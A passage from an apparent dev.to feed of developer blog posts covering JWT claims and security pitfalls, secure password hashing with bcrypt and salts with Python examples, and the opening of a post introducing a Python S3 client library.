&lt;p&gt;The JWT’s claims are defined in the token’s payload. They can store useful information about the token, the issuer, the user it has been issued to, as well as other optional information.&lt;/p&gt;

&lt;p&gt;For example, when a user logs in, the server checks if they have admin permissions, and then issues the user a token that contains their user ID and says whether they have admin permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"iat"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1609781109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"nbf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1609781109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"jti"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0c2df7d5-f940-409a-b8b5-b3c6f9f1ef1e"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"exp"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1609784709&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"identity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"964403f4-444a-428a-88a0-15da8cdaf17c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"fresh"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"access"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"user_claims"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"example@example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"real_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"John Doe"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"customer_acct"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Some Organization LLC"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"is_admin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this case, &lt;code&gt;identity&lt;/code&gt; is a GUID that is the user's identifier. The &lt;code&gt;iat&lt;/code&gt;, &lt;code&gt;nb&lt;/code&gt;, &lt;code&gt;exp&lt;/code&gt;, and &lt;code&gt;jti&lt;/code&gt; fields are all &lt;a href="https://tools.ietf.org/html/rfc7519#section-4.1"&gt;standard claims&lt;/a&gt;. &lt;code&gt;user_claims&lt;/code&gt; is a claim I've added to store additional information about the user. &lt;/p&gt;

&lt;p&gt;When the user attempts to perform an action, the server can check the token sent with the user's request, and can use these claims to see if the user is authorized to perform that action.&lt;/p&gt;

&lt;h2&gt;
  
  
  Benefits of using JWT in your application
&lt;/h2&gt;

&lt;p&gt;Using JSON Web Tokens has a lot of advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The web runs on JavaScript, so JSON is a great choice for storing authentication information. But JWT isn’t limited to JavaScript applications — everything from PHP to Python to Go can consume JSON. It’s flexible and easy to use.&lt;/li&gt;
&lt;li&gt;JWT Claims allow you to easily store additional information about users that you can access within your application without doing database lookups.&lt;/li&gt;
&lt;li&gt;Tokens are small and URL-safe. They can be stored as cookies, in local storage, or in session storage.&lt;/li&gt;
&lt;li&gt;Most common web frameworks have libraries for JWT that do all the hard work for you. (I’ll include links to some of these at the bottom of this article).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Common JWT Security pitfalls
&lt;/h2&gt;

&lt;p&gt;Like any security mechanism, JWT has some common pitfalls. They aren’t hard to avoid, but you do need to know what they are in order to avoid them:&lt;/p&gt;

&lt;h3&gt;
  
  
  JWT is for authorization, not authentication
&lt;/h3&gt;

&lt;p&gt;JWT is a mechanism for authorization, &lt;strong&gt;not&lt;/strong&gt; authentication. The distinction is important: authentication is ensuring that a user is who they say they are. Authorization is determining if a user is authorized (allowed) to perform an action, usually &lt;strong&gt;after&lt;/strong&gt; authentication has already occurred.&lt;/p&gt;

&lt;p&gt;Before you issue a JWT token to a user, you should authenticate them — this is usually done with a username and password. (If you want to learn more about that, check out &lt;a href="https://dev.to/kmistele/how-to-securely-hash-and-store-passwords-in-your-next-application-4e2f"&gt;my article on password hashing&lt;/a&gt;). Once the user has authenticated (i.e. their username and password have been verified), then you issue them a token that they can use for authorization purposes in subsequent requests to your application.&lt;/p&gt;

&lt;h3&gt;
  
  
  Make sure your key is secure
&lt;/h3&gt;

&lt;p&gt;If you’re following along in a demo, they’ll commonly have an example key with the example code. &lt;strong&gt;Do not copy their key&lt;/strong&gt; — generate your own instead. Don’t use a short word or phrase — it should be a long, random key.&lt;/p&gt;

&lt;h3&gt;
  
  
  Don't hard-code your secret key into your application
&lt;/h3&gt;

&lt;p&gt;In order to sign tokens, your server needs to have a secret key that it users. Depending on the JWT framework you use for your language, you may specify this in one of a number of ways. It’s important to not hard-code your key into your application. Hard-coding the key will result in the key being committed to your version control. (This is especially bad if your project is public!) Anyone that has the key can create tokens, so it’s important to keep it a secret. I recommend using environment variables or some sort of secrets manager.&lt;/p&gt;

&lt;h3&gt;
  
  
  Storing tokens in cookies? Do so securely.
&lt;/h3&gt;

&lt;p&gt;Make sure to set the &lt;code&gt;secure&lt;/code&gt; and &lt;code&gt;HttpOnly&lt;/code&gt; attributes on your JWT cookies. The &lt;code&gt;secure&lt;/code&gt; attribute will ensure that the browser only sends the token over an encrypted (&lt;code&gt;https&lt;/code&gt;) connection to prevent the cookie from being intercepted. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;HttpOnly&lt;/code&gt; attribute will ensure that the cookie can't be accessed via JavaScript, which will help mitigate Cross-Site Scripting (XSS) attacks. &lt;/p&gt;

&lt;p&gt;You can find more info on this &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Restrict_access_to_cookies"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Key takeaways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;JWT is an open standard that can be used for authorization once your users have authenticated.&lt;/li&gt;
&lt;li&gt;JWT tokens cannot be forged or modified (without detection), without knowing the secret key.&lt;/li&gt;
&lt;li&gt;JWT allows you to store JSON data (“claims”) in tokens that can be used for authorization or other purposes&lt;/li&gt;
&lt;li&gt;JWT is easy to use, and there are lots of great frameworks for implementing it in your applications&lt;/li&gt;
&lt;li&gt;Ensure that your application manages the secret key and JWT tokens in a secure manner&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I hope you find this useful! Let me know what you think in the comments below.&lt;/p&gt;

&lt;p&gt;If you’re writing code for cloud applications, you need to go when things go wrong. I helped build &lt;a href="https://codelighthouse.io"&gt;CodeLighthouse&lt;/a&gt; to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at &lt;a href="https://codelighthouse.io"&gt;codelighthouse.io&lt;/a&gt; today!&lt;/p&gt;

&lt;h2&gt;
  
  
  Footnote
&lt;/h2&gt;

&lt;p&gt;As promised, here are a few links to JWT libraries for Python/Flask, Node.js/Express, and PHP:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://pypi.org/project/Flask-JWT-Extended/"&gt;Flask-jwt-extended&lt;/a&gt;: a highly robust module for Python’s Flask framework that I thoroughly enjoy using.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/auth0/express-jwt"&gt;Express-jwt&lt;/a&gt;: a great package that seamlessly integrates into Node.js Express apps. I highly recommend it if you’re building with Node.js and Express.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/firebase/php-jwt"&gt;php-jwt&lt;/a&gt;: a high-quality JWT library for PHP maintained by Firebase.&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>security</category>
    </item>
    <item>
      <title>How to securely hash and store passwords in your next application</title>
      <dc:creator>Kyle Mistele</dc:creator>
      <pubDate>Sun, 27 Dec 2020 16:36:35 +0000</pubDate>
      <link>https://dev.to/kmistele/how-to-securely-hash-and-store-passwords-in-your-next-application-4e2f</link>
      <guid>https://dev.to/kmistele/how-to-securely-hash-and-store-passwords-in-your-next-application-4e2f</guid>
      <description>&lt;p&gt;Are you hashing your user's passwords? More importantly, are you doing it &lt;em&gt;correctly&lt;/em&gt;? There's a lot of information out there on password hashing, and there are certainly more than a few different hash algorithms available for you to use.&lt;/p&gt;

&lt;p&gt;As a full-stack engineer, I've spent plenty of time building password-based authentication mechanisms. As an ethical hacker, I've spent plenty of time trying to break those mechanisms and crack password hashes.&lt;/p&gt;

&lt;p&gt;In this article, I'm going to provide a brief overview of secure password hashing and storage, and then I'm going to show you how to securely hash your passwords for your next application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Password hashing: a 30-second summary
&lt;/h3&gt;

&lt;p&gt;There's been a lot written about what a hash algorithm is, so I won't waste your time reiterating all of it. In short, a hash algorithm is a one-way "trapdoor" function. Let's call the hash function &lt;code&gt;H&lt;/code&gt;. Given some data &lt;code&gt;d&lt;/code&gt;, it's trivial to compute &lt;code&gt;H(d)&lt;/code&gt;. But given only the hash &lt;code&gt;H(d)&lt;/code&gt;, it's nearly impossible to compute &lt;code&gt;d&lt;/code&gt;. It's also important to note that even a one-byte difference in &lt;code&gt;d&lt;/code&gt; will result in a completely different hash &lt;code&gt;H(d)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Instead of storing passwords in "plaintext" (i.e. storing passwords directly in our database), it is more secure to hash passwords before storing them in the database. Given a password &lt;code&gt;p&lt;/code&gt;, we compute &lt;code&gt;H(p)&lt;/code&gt;, and store that value in the database. When a user tries to log in, we hash the password that the user tried to log in with, and compare it to the hash in the database. If the two match, then the password is valid, and we log the user in. If they don't, then the user provided the wrong password.&lt;/p&gt;

&lt;p&gt;Why do we do this? It protects passwords from hackers, lazy or mal-intentioned system administrators, and data leaks. If the database is leaked or hacked, then hackers can't easily determine what all of the user's passwords are simply by looking at them. This is even more important considering that many people use the same or similar passwords for most of their accounts. Without password hashing, one account being hacked could lead to all of a user's accounts across multiple services being compromised.&lt;/p&gt;

&lt;h3&gt;
  
  
  A brief example
&lt;/h3&gt;

&lt;p&gt;Below I've provided some python pseudo-code to give you an idea of what your login function might look like using password hashing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# fetch the user record from the database
&lt;/span&gt;
    &lt;span class="c1"&gt;# if no user matches the username, don't log them in
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

    &lt;span class="c1"&gt;# hash the supplied password
&lt;/span&gt;    &lt;span class="n"&gt;supplied_hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;some_hash_function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# see if that hash matches the user's hash
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;supplied_hash&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;password_hash&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The above code is a little simplified, since it'll depend on how you're storing and retrieving users from your database. In this example, I also didn't touch on the actual hash function you should use, so let's dig into the details a little more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hash Functions
&lt;/h2&gt;

&lt;p&gt;There are a myriad of hash functions out there, and many offer different advantages. For example, some hash functions are fast, and others are slow. Fast hashing algorithms are great for building data structures like hash tables, but we want to use slow hash functions for password hashing since slow hash functions make brute force attacks more difficult. Let's look at a few common hash functions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Some common hash functions
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Hash Function&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;Was commonly used for password hashing, but now considered insecure for cryptographic purposes due to some vulnerabilities that were discovered in it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA-1&lt;/td&gt;
&lt;td&gt;Originally designed by the NSA for various purposes, now considered deprecated and insecure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA-3&lt;/td&gt;
&lt;td&gt;Better than SHA-1, considered both safe and flexible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;NTLM&lt;/td&gt;
&lt;td&gt;Commonly used in Windows active directory, but easy to crack. Use NTLMv2 instead.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bcrypt&lt;/td&gt;
&lt;td&gt;A slow hash function that is resistant to brute-force cracks. Commonly used in some Linux distributions. Considered very secure.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Argon2&lt;/td&gt;
&lt;td&gt;A complicated but extremely secure hash function, resistant to brute force attacks. Can be difficult to implement.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  What on earth is a salt?
&lt;/h3&gt;

&lt;p&gt;A "salt" is a random piece of data that is often added to the data you want to hash before you actually hash it. Adding a salt to your data before hashing it will make the output of the hash function different than it would be if you had only hashed the data. &lt;/p&gt;

&lt;p&gt;When a user sets their password (often on signing up), a random salt should be generated and used to compute the password hash. The salt should then be stored with the password hash. When the user tries to log in, combine the salt with the supplied password, hash the combination of the two, and compare it to the hash in the database.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why should you use a salt?
&lt;/h4&gt;

&lt;p&gt;Without going into too much detail, hackers commonly use &lt;a href="https://www.geeksforgeeks.org/understanding-rainbow-table-attack/"&gt;rainbow table attacks&lt;/a&gt;, &lt;a href="https://en.wikipedia.org/wiki/Dictionary_attack"&gt;dictionary attacks&lt;/a&gt;, and &lt;a href="http://www.tenminutetutor.com/data-formats/cryptography/attacks-on-hash-algorithms/"&gt;brute-force attacks&lt;/a&gt; to try and crack password hashes. While hackers can't compute the original password given only a hash, they can take a long list of possible passwords and compute hashes for them to try and match them with the passwords in the database. This is effectively how these types of attacks work, although each of the above works somewhat differently.&lt;/p&gt;

&lt;p&gt;A salt makes it much more difficult for hackers to perform these types of attacks. Depending on the hash function, salted hashes take nearly exponentially more time to crack than unsalted ones. They also make rainbow table attacks nearly impossible. It's therefore important to always use salts in your hashes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Which hash function should you use?
&lt;/h3&gt;

&lt;p&gt;Lots of people will tell you that there's no "right" or "wrong" answer to this question, only trade-offs. That's true, but some hash functions make better trade-offs than others. &lt;/p&gt;

&lt;p&gt;Personally, I'm a big fan of Bcrypt and Argon2 because both are extremely secure, both require salts, and both are slow (which as we discussed above, is a property we want for password hashing functions). Argon2 is a lot more complicated than Bcrypt, and can be more difficult to implement. Bcrypt is also a lot more common and more languages have libraries for it, so it's what I tend to use. I recommend that you use one of these two as well.&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting it all together
&lt;/h2&gt;

&lt;p&gt;Below, I have provided two examples on how to implement everything that we've discussed today. The first example is pseudo-code, and the second one is in Python.&lt;/p&gt;

&lt;h3&gt;
  
  
  Password hash authentication pseudo-code
&lt;/h3&gt;

&lt;p&gt;Most common languages should provide a bcrypt module or package, but the interface to it will invariably look different, so I've tried to be as language-agnostic as possible.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# should be called when a user signs up or changes their password
function calculate_hash(password) 
    salt = random_bytes(14) # or any other length
    hash = bcrypt_hash(password, salt)

    # store this with the user in your database
    return hash 

# called whenever a user tries to login
function login_user(username, password) 
    user = get_user_from_database(username)

    # bcrypt stores the salt with the hash, your library should manage this for you
    salt = get_salt(user.hash) 
    new_hash = bcrypt_hash(password, salt)
    if new_hash == user.hash
        login_user()
    else 
        dont_login_user()

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that your salt &lt;a href="https://www.ietf.org/rfc/rfc2898.txt"&gt;should be at least 8 bytes long&lt;/a&gt;, but longer is more secure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Password hash authentication Python code
&lt;/h3&gt;

&lt;p&gt;Python provides a &lt;a href="https://pypi.org/project/bcrypt/"&gt;bcrypt module&lt;/a&gt; that can be installed with Pip, and I'm going to use that for this example. The bcrypt module handles the computation behind the scenes for you, so it's super easy to use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;bcrypt&lt;/span&gt;

&lt;span class="c1"&gt;# this will create the hash that you need to store in your database
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_bcrypt_hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# convert the string to bytes
&lt;/span&gt;    &lt;span class="n"&gt;password_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;      
    &lt;span class="c1"&gt;# generate a salt
&lt;/span&gt;    &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gensalt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;               
    &lt;span class="c1"&gt;# calculate a hash as bytes
&lt;/span&gt;    &lt;span class="n"&gt;password_hash_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hashpw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   
    &lt;span class="c1"&gt;# decode bytes to a string
&lt;/span&gt;    &lt;span class="n"&gt;password_hash_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password_hash_bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;            


    &lt;span class="c1"&gt;# the password hash string should similar to:
&lt;/span&gt;    &lt;span class="c1"&gt;# $2b$10$//DXiVVE59p7G5k/4Klx/ezF7BI42QZKmoOD0NDvUuqxRE5bFFBLy
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;password_hash_str&lt;/span&gt;        

&lt;span class="c1"&gt;# this will return true if the user supplied a valid password and 
# should be logged in, otherwise false
&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verify_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_from_database&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;password_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;hash_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash_from_database&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# this will automatically retrieve the salt from the hash, 
&lt;/span&gt;    &lt;span class="c1"&gt;# then combine it with the password (parameter 1)
&lt;/span&gt;    &lt;span class="c1"&gt;# and then hash that, and compare it to the user's hash
&lt;/span&gt;    &lt;span class="n"&gt;does_match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bcrypt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;checkpw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;does_match&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Key takeaways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always store your passwords as hashes, and never as plain text.&lt;/li&gt;
&lt;li&gt;Use a salt for extra security.&lt;/li&gt;
&lt;li&gt;Use Bcrypt or Argon2 for your hash function&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I hope you find this article useful! Let me know what you think in the comments below.&lt;/p&gt;

&lt;p&gt;If you're writing code for cloud applications, you need to go when things go wrong. I helped build&lt;a href="https://codelighthouse.io"&gt;CodeLighthouse&lt;/a&gt; to send real-time application error notifications straight to developers so that you can find and fix errors faster. Get started for free at &lt;a href="https://codelighthouse.io"&gt;codelighthouse.io&lt;/a&gt; today!&lt;/p&gt;

</description>
      <category>security</category>
      <category>python</category>
      <category>database</category>
      <category>cloud</category>
    </item>
    <item>
      <title>Botocore is awful, so I wrote a better Python client for AWS S3</title>
      <dc:creator>Kyle Mistele</dc:creator>
      <pubDate>Tue, 22 Dec 2020 22:12:15 +0000</pubDate>
      <link>https://dev.to/kmistele/botocore-is-awful-so-i-wrote-a-better-python-client-for-aws-s3-21gd</link>
      <guid>https://dev.to/kmistele/botocore-is-awful-so-i-wrote-a-better-python-client-for-aws-s3-21gd</guid>
      <description>&lt;p&gt;If you've ever been unfortunate enough to have had to work with botocore, Amazon Web Services' Python API, you know that it's awful. There are dozens of ways to accomplish any given task, and the differences between each are unclear at best. I recently found myself working with botocore while trying to build some S3 functionality into &lt;a href="https://codelighthouse.io" rel="noopener noreferrer"&gt;codelighthouse&lt;/a&gt;, and I got really frustrated with it, really quickly. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://aws.amazon.com/s3/" rel="noopener noreferrer"&gt;AWS S3&lt;/a&gt; (Simple Storage Service) is not complicated - it's object storage. You can &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;, and &lt;code&gt;COPY&lt;/code&gt; objects, with a few other functionalities. Simple, right? Yet for some reason, if you were to print botocore's documentation for the S3 service, you'd come out to about 525 printed pages. &lt;/p&gt;

&lt;p&gt;I chose to use to the Object API, which is the highest-level API provided by the S3 resource in botocore, and it was still a headache. For example, the Object API doesn't throw different types of exceptions - it throws one type of exception, which has numerous properties that you have to programatically analyze to determine what actually went wrong. &lt;/p&gt;

&lt;p&gt;There are a few open-source packages out there already, but I found that most of them left a lot to be desired - some had you writing XML, and others were just more complicated than they needed to be.&lt;/p&gt;

&lt;p&gt;To save myself from going mad trying to decipher the docs, I wrote a custom high-level driver that consumes that low-level botocore API to perform most basic botocore functionalities. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F4xg4yxcz2fx9qca605as.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fi%2F4xg4yxcz2fx9qca605as.jpg" alt="4r8zoa"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To save other developers from the same fate I narrowly avoided, I &lt;a href="https://github.com/codelighthouse/s3-bucket" rel="noopener noreferrer"&gt;open-sourced the code&lt;/a&gt; and &lt;a href="https://pypi.org/project/s3-bucket/" rel="noopener noreferrer"&gt;published it on PyPi&lt;/a&gt; so you can easily use it in all of your projects.&lt;/p&gt;

&lt;h2&gt;
  
  
  Let's Get Started
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Installing my custom AWS S3 Client
&lt;/h3&gt;

&lt;p&gt;Since my client code is hosted via &lt;a href="https://pypi.org/project/s3-bucket" rel="noopener noreferrer"&gt;PyPi&lt;/a&gt;, it's super easy to install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install s3-bucket
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Configuring the S3 Client
